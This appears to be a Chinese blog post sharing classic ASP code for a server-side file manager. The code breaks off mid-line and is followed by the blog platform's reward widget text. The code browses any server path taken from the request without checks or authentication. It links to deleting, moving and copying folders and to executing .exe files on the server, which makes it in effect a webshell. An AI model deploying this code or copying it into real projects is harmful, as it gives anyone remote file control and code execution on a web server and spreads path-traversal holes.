文件的读出 编辑 管理

<% 
urlpath="http://"&Request.ServerVariables("SERVER_NAME") 
dim cpath,lpath 
set fsoBrowse=CreateObject("Scripting.FileSystemObject") 
if Request("path")="" then 
lpath="/" 
else 
lpath=Request("path")&"/" 
end if 
if Request("attrib")="true" then 
cpath=lpath 
attrib="true" 
else 
cpath=Server.MapPath(lpath) 
attrib="" 
end if 
Sub GetFolder() 
dim theFolder,theSubFolders 
if fsoBrowse.FolderExists(cpath)then 
Set theFolder=fsoBrowse.GetFolder(cpath) 
Set theSubFolders=theFolder.SubFolders 
Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>" 
Response.write"<table border='0' width='100%' cellpadding='0'>" 
For Each x In theSubFolders 
Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> </td>"
Response.Write "<td><a href=# οnclick=javascript:window.open('delete.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a></td>" 
Response.Write "<td><a href=# οnclick=javascript:window.open('move.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>移改</a></td>" 
Response.Write "<td><a href=# οnclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>复制</a><br></td></tr>" 
Next 
Response.Write "</table>" 
end if 
End Sub

Sub GetFile() 
dim theFiles 
if fsoBrowse.FolderExists(cpath)then 
Set theFolder=fsoBrowse.GetFolder(cpath) 
Set theFiles=theFolder.Files 
Response.write"<table border='0' width='100%' cellpadding='0'>" 
For Each x In theFiles 
if Request("attrib")="true" then 
showstring="<strong>"&x.Name&"</strong>" 
else 
showstring="<a href=# οnclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><strong>"&x.name&"</strong></a>" 
end if 
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then 
showstring=showstring&"</td><td width='10%'><A href=# οnclick=javascript:window.open('fileop.asp@filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>执行</font></a></td>" 
else 
showstring=showstring&"</td><td width='10%'></td>" 
end if 
Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字节</td> 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值